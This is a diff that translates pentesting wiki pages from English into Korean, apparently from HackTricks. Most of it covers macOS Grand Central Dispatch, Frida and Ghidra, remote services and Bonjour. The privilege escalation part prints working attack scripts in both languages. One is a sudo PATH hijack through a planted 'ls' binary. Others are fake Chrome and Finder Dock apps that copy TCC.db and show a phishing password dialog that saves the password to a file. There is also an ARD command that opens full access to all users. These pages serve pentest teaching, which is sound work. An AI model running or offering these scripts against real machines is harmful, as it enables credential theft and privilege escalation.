`DISPATCH_QUEUE_SERIAL` 및 `DISPATCH_QUEUE_CONCURRENT`의 두 가지 모드를 지원합니다. 물론 **직렬** 큐는 **경쟁 조건** 문제가 없으며, 블록은 이전 블록이 완료될 때까지 실행되지 않습니다. 그러나 **다른 유형의 큐는 그럴 수 있습니다**. -Default queues: +기본 큐: -- `.main-thread`: From `dispatch_get_main_queue()` -- `.libdispatch-manager`: GCD's queue manager -- `.root.libdispatch-manager`: GCD's queue manager -- `.root.maintenance-qos`: Lowest priority tasks +- `.main-thread`: `dispatch_get_main_queue()`에서 +- `.libdispatch-manager`: GCD의 큐 관리자 +- `.root.libdispatch-manager`: GCD의 큐 관리자 +- `.root.maintenance-qos`: 최저 우선 순위 작업 - `.root.maintenance-qos.overcommit` -- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND` +- `.root.background-qos`: `DISPATCH_QUEUE_PRIORITY_BACKGROUND`로 사용 가능 - `.root.background-qos.overcommit` -- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` +- `.root.utility-qos`: `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`로 사용 가능 - `.root.utility-qos.overcommit` -- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT` +- `.root.default-qos`: `DISPATCH_QUEUE_PRIORITY_DEFAULT`로 사용 가능 - `.root.background-qos.overcommit` -- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH` +- `.root.user-initiated-qos`: `DISPATCH_QUEUE_PRIORITY_HIGH`로 사용 가능 - `.root.background-qos.overcommit` -- `.root.user-interactive-qos`: Highest priority +- `.root.user-interactive-qos`: 가장 높은 우선 순위 - `.root.background-qos.overcommit` -Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point) +각 시점에서 **어떤 스레드가 어떤 큐를 처리할지** 결정하는 것은 시스템입니다(여러 스레드가 동일한 큐에서 작업할 수 있거나 동일한 스레드가 다른 큐에서 작업할 수 있습니다). #### Attributtes -When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue. +**`dispatch_queue_create`**로 큐를 생성할 때 세 번째 인자는 `dispatch_queue_attr_t`로, 일반적으로 `DISPATCH_QUEUE_SERIAL`(실제로는 NULL) 또는 `DISPATCH_QUEUE_CONCURRENT`로, 큐의 일부 매개변수를 제어할 수 있는 `dispatch_queue_attr_t` 구조체에 대한 포인터입니다. ### Dispatch objects -There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`: +libdispatch가 사용하는 여러 객체가 있으며, 큐와 블록은 그 중 두 가지에 불과합니다. 이러한 객체는 `dispatch_object_create`로 생성할 수 있습니다: - `block` -- `data`: Data blocks -- `group`: Group of blocks -- `io`: Async I/O requests -- `mach`: Mach ports -- `mach_msg`: Mach messages -- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues +- `data`: 데이터 블록 +- `group`: 블록 그룹 +- `io`: 비동기 I/O 요청 +- `mach`: Mach 포트 +- `mach_msg`: Mach 메시지 +- `pthread_root_queue`: pthread 스레드 풀을 가진 큐 및 작업 큐가 아님 - `queue` - `semaphore` -- `source`: Event source +- `source`: 이벤트 소스 ## Objective-C -In Objetive-C there are different functions to send a block to be executed in parallel: +Objective-C에서는 블록을 병렬로 실행하기 위해 전송하는 다양한 함수가 있습니다: -- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately. -- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing. -- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application. -- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block. +- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): 디스패치 큐에서 비동기 실행을 위해 블록을 제출하고 즉시 반환합니다. +- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): 실행을 위해 블록 객체를 제출하고 해당 블록이 실행을 마친 후 반환합니다. +- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): 애플리케이션의 생애 동안 블록 객체를 한 번만 실행합니다. +- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): 실행을 위해 작업 항목을 제출하고 실행이 완료된 후에만 반환합니다. [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync)와 달리, 이 함수는 블록을 실행할 때 큐의 모든 속성을 존중합니다. -These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** - -This is the **struct of a Block**: +이 함수들은 다음 매개변수를 기대합니다: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** +이것은 **블록의 구조체**입니다: ```c struct Block { - void *isa; // NSConcreteStackBlock,... - int flags; - int reserved; - void *invoke; - struct BlockDescriptor *descriptor; - // captured variables go here +void *isa; // NSConcreteStackBlock,... +int flags; +int reserved; +void *invoke; +struct BlockDescriptor *descriptor; +// captured variables go here }; ``` - -And this is an example to use **parallelism** with **`dispatch_async`**: - +그리고 이것은 **`dispatch_async`**와 함께 **병렬성**을 사용하는 예입니다: ```objectivec #import // Define a block void (^backgroundTask)(void) = ^{ - // Code to be executed in the background - for (int i = 0; i < 10; i++) { - NSLog(@"Background task %d", i); - sleep(1); // Simulate a long-running task - } +// Code to be executed in the background +for (int i = 0; i < 10; i++) { +NSLog(@"Background task %d", i); +sleep(1); // Simulate a long-running task +} }; int main(int argc, const char * argv[]) { - @autoreleasepool { - // Create a dispatch queue - dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); +@autoreleasepool { +// Create a dispatch queue +dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); - // Submit the block to the queue for asynchronous execution - dispatch_async(backgroundQueue, backgroundTask); +// Submit the block to the queue for asynchronous execution +dispatch_async(backgroundQueue, backgroundTask); - // Continue with other work on the main queue or thread - for (int i = 0; i < 10; i++) { - NSLog(@"Main task %d", i); - sleep(1); // Simulate a long-running task - } - } - return 0; +// Continue with other work on the main queue or thread +for (int i = 0; i < 10; i++) { +NSLog(@"Main task %d", i); +sleep(1); // Simulate a long-running task +} +} +return 0; } ``` - ## Swift -**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\ -The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD. +**`libswiftDispatch`**는 원래 C로 작성된 Grand Central Dispatch (GCD) 프레임워크에 대한 **Swift 바인딩**을 제공하는 라이브러리입니다.\ +**`libswiftDispatch`** 라이브러리는 C GCD API를 더 Swift 친화적인 인터페이스로 감싸, Swift 개발자가 GCD와 작업하기 쉽게 하고 직관적으로 만듭니다. - **`DispatchQueue.global().sync{ ... }`** - **`DispatchQueue.global().async{ ... }`** - **`let onceToken = DispatchOnce(); onceToken.perform { ... }`** - **`async await`** - - **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** +- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** **Code example**: - ```swift import Foundation // Define a closure (the Swift equivalent of a block) let backgroundTask: () -> Void = { - for i in 0..<10 { - print("Background task \(i)") - sleep(1) // Simulate a long-running task - } +for i in 0..<10 { +print("Background task \(i)") +sleep(1) // Simulate a long-running task +} } // Entry point autoreleasepool { - // Create a dispatch queue - let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") +// Create a dispatch queue +let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") - // Submit the closure to the queue for asynchronous execution - backgroundQueue.async(execute: backgroundTask) +// Submit the closure to the queue for asynchronous execution +backgroundQueue.async(execute: backgroundTask) - // Continue with other work on the main queue - for i in 0..<10 { - print("Main task \(i)") - sleep(1) // Simulate a long-running task - } +// Continue with other work on the main queue +for i in 0..<10 { +print("Main task \(i)") +sleep(1) // Simulate a long-running task +} } ``` - ## Frida -The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) - +다음 Frida 스크립트는 **여러 `dispatch`** 함수에 후킹하고 큐 이름, 백트레이스 및 블록을 추출하는 데 사용할 수 있습니다: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) ```bash frida -U -l libdispatch.js @@ -190,12 +183,11 @@ Backtrace: 0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:] [...] ``` - ## Ghidra -Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one. +현재 Ghidra는 ObjectiveC **`dispatch_block_t`** 구조체와 **`swift_dispatch_block`** 구조체를 이해하지 못합니다. -So if you want it to understand them, you could just **declare them**: +그래서 이들을 이해하도록 하려면, **선언**하면 됩니다:
@@ -203,18 +195,18 @@ So if you want it to understand them, you could just **declare them**:
-Then, find a place in the code where they are **used**: +그런 다음, 코드에서 이들이 **사용되는** 위치를 찾습니다: > [!TIP] -> Note all of references made to "block" to understand how you could figure out that the struct is being used. +> "block"에 대한 모든 참조를 기록하여 구조체가 사용되고 있음을 이해하는 방법을 알아보세요.
-Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**: +변수에서 오른쪽 클릭 -> 변수 재입력 및 이 경우 **`swift_dispatch_block`**을 선택합니다:
-Ghidra will automatically rewrite everything: +Ghidra는 모든 것을 자동으로 다시 작성합니다:
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index fa8e2aeb4..d4a343d3f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -1,10 +1,10 @@ -# macOS Privilege Escalation +# macOS 권한 상승 {{#include ../../banners/hacktricks-training.md}} -## TCC Privilege Escalation +## TCC 권한 상승 -If you came here looking for TCC privilege escalation go to: +TCC 권한 상승을 찾고 계신다면 다음으로 가세요: {{#ref}} macos-security-protections/macos-tcc/ @@ -12,26 +12,25 @@ macos-security-protections/macos-tcc/ ## Linux Privesc -Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see: +**Linux/Unix에 영향을 미치는 권한 상승에 대한 대부분의 트릭은 MacOS에도 영향을 미친다는 점에 유의하세요.** 따라서 다음을 참조하세요: {{#ref}} ../../linux-hardening/privilege-escalation/ {{#endref}} -## User Interaction +## 사용자 상호작용 -### Sudo Hijacking +### Sudo 하이재킹 -You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking). - -However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:** +원래 [Sudo 하이재킹 기법은 Linux 권한 상승 게시물에서 찾을 수 있습니다](../../linux-hardening/privilege-escalation/#sudo-hijacking). +그러나 macOS는 사용자가 **`sudo`**를 실행할 때 사용자의 **`PATH`**를 **유지**합니다. 즉, 이 공격을 달성하는 또 다른 방법은 피해자가 **sudo를 실행할 때** 여전히 실행할 **다른 바이너리**를 **하이재킹**하는 것입니다: ```bash # Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH cat > /opt/homebrew/bin/ls < /tmp/privesc +whoami > /tmp/privesc fi /bin/ls "\$@" EOF @@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls # victim sudo ls ``` +사용자가 터미널을 사용하는 경우 **Homebrew가 설치되어 있을 가능성이 높습니다**. 따라서 **`/opt/homebrew/bin`**에서 바이너리를 탈취할 수 있습니다. -Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**. +### 독 사칭 -### Dock Impersonation - -Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script: +일부 **소셜 엔지니어링**을 사용하여 독에서 **예를 들어 Google Chrome**을 **사칭**하고 실제로 자신의 스크립트를 실행할 수 있습니다: {{#tabs}} {{#tab name="Chrome Impersonation"}} -Some suggestions: - -- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array. +몇 가지 제안: +- 독에서 Chrome이 있는지 확인하고, 그런 경우 **해당 항목을 제거**하고 **동일한 위치에 가짜 Chrome 항목을 추가**하세요. ```bash #!/bin/sh @@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c < int main() { - char *cmd = "open /Applications/Google\\\\ Chrome.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /Applications/Google\\\\ Chrome.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Google Chrome - CFBundleIdentifier - com.google.Chrome - CFBundleName - Google Chrome - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Google Chrome +CFBundleIdentifier +com.google.Chrome +CFBundleName +Google Chrome +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data /tmp/Finder.app/Contents/MacOS/Finder.c < int main() { - char *cmd = "open /System/Library/CoreServices/Finder.app & " - "sleep 2; " - "osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " - "PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " - "echo \$PASSWORD > /tmp/passwd.txt"; - system(cmd); - return 0; +char *cmd = "open /System/Library/CoreServices/Finder.app & " +"sleep 2; " +"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; " +"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); " +"echo \$PASSWORD > /tmp/passwd.txt"; +system(cmd); +return 0; } EOF @@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> - CFBundleExecutable - Finder - CFBundleIdentifier - com.apple.finder - CFBundleName - Finder - CFBundleVersion - 1.0 - CFBundleShortVersionString - 1.0 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleIconFile - app +CFBundleExecutable +Finder +CFBundleIdentifier +com.apple.finder +CFBundleName +Finder +CFBundleVersion +1.0 +CFBundleShortVersionString +1.0 +CFBundleInfoDictionaryVersion +6.0 +CFBundlePackageType +APPL +CFBundleIconFile +app EOF @@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add 'tile-data `Sharing` +이들은 원격으로 액세스하기 위한 일반적인 macOS 서비스입니다.\ +이 서비스는 `시스템 설정` --> `공유`에서 활성화/비활성화할 수 있습니다. -- **VNC**, known as “Screen Sharing” (tcp:5900) -- **SSH**, called “Remote Login” (tcp:22) -- **Apple Remote Desktop** (ARD), or “Remote Management” (tcp:3283, tcp:5900) -- **AppleEvent**, known as “Remote Apple Event” (tcp:3031) - -Check if any is enabled running: +- **VNC**, "화면 공유"로 알려져 있음 (tcp:5900) +- **SSH**, "원격 로그인"이라고 불림 (tcp:22) +- **Apple Remote Desktop** (ARD), 또는 "원격 관리" (tcp:3283, tcp:5900) +- **AppleEvent**, "원격 Apple 이벤트"로 알려져 있음 (tcp:3031) +활성화된 서비스가 있는지 확인하려면 다음을 실행하세요: ```bash rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l); @@ -23,103 +22,90 @@ rAE=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.3031" | wc -l); bmM=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.4488" | wc -l); printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; ``` - ### Pentesting ARD -Apple Remote Desktop (ARD) is an enhanced version of [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) tailored for macOS, offering additional features. A notable vulnerability in ARD is its authentication method for the control screen password, which only uses the first 8 characters of the password, making it prone to [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) with tools like Hydra or [GoRedShell](https://github.com/ahhh/GoRedShell/), as there are no default rate limits. +Apple Remote Desktop (ARD)는 macOS에 맞게 조정된 [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing)의 향상된 버전으로, 추가 기능을 제공합니다. ARD의 주목할 만한 취약점은 제어 화면 비밀번호의 인증 방법으로, 비밀번호의 처음 8자만 사용하여 [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html)에 취약하게 만듭니다. Hydra 또는 [GoRedShell](https://github.com/ahhh/GoRedShell/)과 같은 도구를 사용하여 공격할 수 있으며, 기본 속도 제한이 없습니다. -Vulnerable instances can be identified using **nmap**'s `vnc-info` script. Services supporting `VNC Authentication (2)` are especially susceptible to brute force attacks due to the 8-character password truncation. - -To enable ARD for various administrative tasks like privilege escalation, GUI access, or user monitoring, use the following command: +취약한 인스턴스는 **nmap**의 `vnc-info` 스크립트를 사용하여 식별할 수 있습니다. `VNC Authentication (2)`를 지원하는 서비스는 8자 비밀번호 잘림으로 인해 특히 brute force 공격에 취약합니다. +권한 상승, GUI 접근 또는 사용자 모니터링과 같은 다양한 관리 작업을 위해 ARD를 활성화하려면 다음 명령을 사용하십시오: ```bash sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes ``` +ARD는 관찰, 공유 제어 및 전체 제어를 포함한 다양한 제어 수준을 제공하며, 사용자 비밀번호 변경 후에도 세션이 지속됩니다. 관리 사용자를 위해 루트로 Unix 명령을 직접 전송하고 실행할 수 있습니다. 작업 예약 및 원격 Spotlight 검색은 여러 머신에서 민감한 파일에 대한 원격 저영향 검색을 용이하게 하는 주목할 만한 기능입니다. -ARD provides versatile control levels, including observation, shared control, and full control, with sessions persisting even after user password changes. It allows sending Unix commands directly, executing them as root for administrative users. Task scheduling and Remote Spotlight search are notable features, facilitating remote, low-impact searches for sensitive files across multiple machines. +## Bonjour 프로토콜 -## Bonjour Protocol +Bonjour는 **같은 네트워크에 있는 장치들이 서로 제공하는 서비스를 감지할 수 있게 해주는 Apple 설계 기술**입니다. Rendezvous, **Zero Configuration** 또는 Zeroconf로도 알려져 있으며, 장치가 TCP/IP 네트워크에 가입하고, **자동으로 IP 주소를 선택**하며, 다른 네트워크 장치에 자신의 서비스를 브로드캐스트할 수 있게 합니다. -Bonjour, an Apple-designed technology, allows **devices on the same network to detect each other's offered services**. Known also as Rendezvous, **Zero Configuration**, or Zeroconf, it enables a device to join a TCP/IP network, **automatically choose an IP address**, and broadcast its services to other network devices. +Bonjour가 제공하는 Zero Configuration Networking은 장치가 다음을 보장합니다: -Zero Configuration Networking, provided by Bonjour, ensures that devices can: +- **DHCP 서버가 없는 경우에도 자동으로 IP 주소를 얻습니다.** +- DNS 서버 없이 **이름-주소 변환**을 수행합니다. +- 네트워크에서 사용 가능한 **서비스를 발견합니다.** -- **Automatically obtain an IP Address** even in the absence of a DHCP server. -- Perform **name-to-address translation** without requiring a DNS server. -- **Discover services** available on the network. +Bonjour를 사용하는 장치는 **169.254/16 범위의 IP 주소를 할당**하고 네트워크에서 그 고유성을 확인합니다. Macs는 이 서브넷에 대한 라우팅 테이블 항목을 유지하며, `netstat -rn | grep 169`를 통해 확인할 수 있습니다. -Devices using Bonjour will assign themselves an **IP address from the 169.254/16 range** and verify its uniqueness on the network. Macs maintain a routing table entry for this subnet, verifiable via `netstat -rn | grep 169`. +DNS의 경우, Bonjour는 **Multicast DNS (mDNS) 프로토콜**을 사용합니다. mDNS는 **포트 5353/UDP**를 통해 작동하며, **표준 DNS 쿼리**를 사용하지만 **멀티캐스트 주소 224.0.0.251**을 대상으로 합니다. 이 접근 방식은 네트워크의 모든 수신 장치가 쿼리를 수신하고 응답할 수 있도록 하여 기록 업데이트를 용이하게 합니다. -For DNS, Bonjour utilizes the **Multicast DNS (mDNS) protocol**. mDNS operates over **port 5353/UDP**, employing **standard DNS queries** but targeting the **multicast address 224.0.0.251**. This approach ensures that all listening devices on the network can receive and respond to the queries, facilitating the update of their records. +네트워크에 가입할 때, 각 장치는 일반적으로 **.local**로 끝나는 이름을 자가 선택하며, 이는 호스트 이름에서 파생되거나 무작위로 생성될 수 있습니다. -Upon joining the network, each device self-selects a name, typically ending in **.local**, which may be derived from the hostname or randomly generated. +네트워크 내 서비스 발견은 **DNS 서비스 발견 (DNS-SD)**에 의해 촉진됩니다. DNS SRV 레코드의 형식을 활용하여, DNS-SD는 **DNS PTR 레코드**를 사용하여 여러 서비스의 목록을 가능하게 합니다. 특정 서비스를 찾는 클라이언트는 `.`에 대한 PTR 레코드를 요청하며, 서비스가 여러 호스트에서 사용 가능한 경우 `..` 형식의 PTR 레코드 목록을 반환받습니다. -Service discovery within the network is facilitated by **DNS Service Discovery (DNS-SD)**. Leveraging the format of DNS SRV records, DNS-SD uses **DNS PTR records** to enable the listing of multiple services. A client seeking a specific service will request a PTR record for `.`, receiving in return a list of PTR records formatted as `..` if the service is available from multiple hosts. +`dns-sd` 유틸리티는 **네트워크 서비스를 발견하고 광고하는 데 사용될 수 있습니다**. 다음은 그 사용 예시입니다: -The `dns-sd` utility can be employed for **discovering and advertising network services**. Here are some examples of its usage: - -### Searching for SSH Services - -To search for SSH services on the network, the following command is used: +### SSH 서비스 검색 +네트워크에서 SSH 서비스를 검색하기 위해 다음 명령을 사용합니다: ```bash dns-sd -B _ssh._tcp ``` +이 명령은 \_ssh.\_tcp 서비스 검색을 시작하고 타임스탬프, 플래그, 인터페이스, 도메인, 서비스 유형 및 인스턴스 이름과 같은 세부 정보를 출력합니다. -This command initiates browsing for \_ssh.\_tcp services and outputs details such as timestamp, flags, interface, domain, service type, and instance name. - -### Advertising an HTTP Service - -To advertise an HTTP service, you can use: +### HTTP 서비스 광고 +HTTP 서비스를 광고하려면 다음을 사용할 수 있습니다: ```bash dns-sd -R "Index" _http._tcp . 80 path=/index.html ``` +이 명령은 포트 80에서 `/index.html` 경로를 가진 "Index"라는 HTTP 서비스를 등록합니다. -This command registers an HTTP service named "Index" on port 80 with a path of `/index.html`. - -To then search for HTTP services on the network: - +그런 다음 네트워크에서 HTTP 서비스를 검색하려면: ```bash dns-sd -B _http._tcp ``` +서비스가 시작되면, 서브넷의 모든 장치에 자신의 가용성을 멀티캐스트하여 알립니다. 이러한 서비스에 관심이 있는 장치는 요청을 보낼 필요 없이 이러한 알림을 듣기만 하면 됩니다. -When a service starts, it announces its availability to all devices on the subnet by multicasting its presence. Devices interested in these services don't need to send requests but simply listen for these announcements. - -For a more user-friendly interface, the **Discovery - DNS-SD Browser** app available on the Apple App Store can visualize the services offered on your local network. - -Alternatively, custom scripts can be written to browse and discover services using the `python-zeroconf` library. The [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) script demonstrates creating a service browser for `_http._tcp.local.` services, printing added or removed services: +보다 사용자 친화적인 인터페이스를 위해, Apple App Store에서 제공되는 **Discovery - DNS-SD Browser** 앱은 로컬 네트워크에서 제공되는 서비스를 시각화할 수 있습니다. +또는, `python-zeroconf` 라이브러리를 사용하여 서비스를 탐색하고 발견하는 사용자 정의 스크립트를 작성할 수 있습니다. [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) 스크립트는 `_http._tcp.local.` 서비스에 대한 서비스 브라우저를 생성하고 추가되거나 제거된 서비스를 출력하는 방법을 보여줍니다: ```python from zeroconf import ServiceBrowser, Zeroconf class MyListener: - def remove_service(self, zeroconf, type, name): - print("Service %s removed" % (name,)) +def remove_service(self, zeroconf, type, name): +print("Service %s removed" % (name,)) - def add_service(self, zeroconf, type, name): - info = zeroconf.get_service_info(type, name) - print("Service %s added, service info: %s" % (name, info)) +def add_service(self, zeroconf, type, name): +info = zeroconf.get_service_info(type, name) +print("Service %s added, service info: %s" % (name, info)) zeroconf = Zeroconf() listener = MyListener() browser = ServiceBrowser(zeroconf, "_http._tcp.local.", listener) try: - input("Press enter to exit...\n\n") +input("Press enter to exit...\n\n") finally: - zeroconf.close() +zeroconf.close() ``` +### Bonjour 비활성화 -### Disabling Bonjour - -If there are concerns about security or other reasons to disable Bonjour, it can be turned off using the following command: - +보안에 대한 우려가 있거나 Bonjour를 비활성화해야 할 다른 이유가 있는 경우, 다음 명령어를 사용하여 끌 수 있습니다: ```bash sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist ``` - -## References +## 참고 문헌 - [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index 1db42d01c..e92facced 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -14,7 +14,7 @@ ### 위험한 조합 -**루트가 소유한 파일/폴더를 덮어쓰는 방법**, 단: +**루트가 소유한 파일/폴더를 덮어쓰는 방법**, 그러나: - 경로의 부모 **디렉토리 소유자**가 사용자입니다. 